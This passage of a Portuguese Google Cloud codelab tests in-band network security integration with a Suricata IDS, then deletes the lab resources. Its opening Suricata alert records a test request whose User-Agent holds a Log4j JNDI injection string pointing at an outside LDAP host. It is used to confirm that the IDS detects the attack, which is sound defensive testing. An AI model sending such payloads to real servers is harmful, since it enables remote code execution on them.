{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

Além disso, as capturas de pacotes são uma boa maneira de visualizar e validar o tráfego.

Esse comando vai filtrar pacotes GENEVE. Exemplo de comando:

sudo tcpdump -i any -nn udp port 6081

Agora envie um pouco de tráfego de teste de uma VM de consumidor. Exemplo de resposta:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

Com o tcpdump, é possível conferir os cabeçalhos GENEVE. O IP de origem é o do gateway da sub-rede (10.0.0.1), e o IP de destino é o da regra de encaminhamento (10.0.0.11 ou 10.0.0.12). Os pacotes encapsulados contêm os pacotes originais: IP do cliente consumer-$zonea (192.168.0.2) ou consumer-$zoneb (192.168.0.3) e o destino google.com. Isso confirma que os pacotes estão sendo interceptados e enviados ao dispositivo de terceiros pela integração de segurança de rede.

  1. Saia da sessão SSH e retorne ao Cloud Shell.
exit

Parabéns! Você implantou e testou um ambiente com integração de segurança de rede (NSI) em banda.

5. Limpeza

Consumidor

Exclua as VMs do consumidor:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

Excluir associação e política de firewall:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

Excluir o grupo e o perfil de segurança:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

Excluir a associação de endpoints e interceptar grupos de endpoints:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

Excluir o Cloud NAT, o Cloud Router e o IP reservado

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

Excluir VPC e sub-redes

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Produtor

Exclua implantações de interceptação:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

Exclua o grupo de implantação de interceptação. As implantações de interceptação precisam ser excluídas antes que esse comando seja concluído.

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

Exclua as regras de encaminhamento:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

Excluir o IP reservado da regra de encaminhamento:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

Exclua o serviço de back-end:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

Exclua os grupos de instâncias não gerenciadas:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

Excluir verificação de integridade:

gcloud compute health-checks delete nva-hc -q

Exclua as VMs do produtor:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

Exclua o Cloud NAT, o Cloud Router e o IP reservado:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

Exclua a associação de política de firewall:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

Exclua a política de firewall:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

Excluir VPC e sub-rede

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. Parabéns!

Parabéns, você concluiu o codelab de integração de segurança de rede em banda com o Suricata.

Assista vídeos de demonstração específicos do fornecedor de NSI em banda:

Palo Alto Networks

Fortinet

Confira alguns guias de implantação específicos do fornecedor que podem ser relevantes para sua organização:

Palo Alto Networks

Fortinet

Checkpoint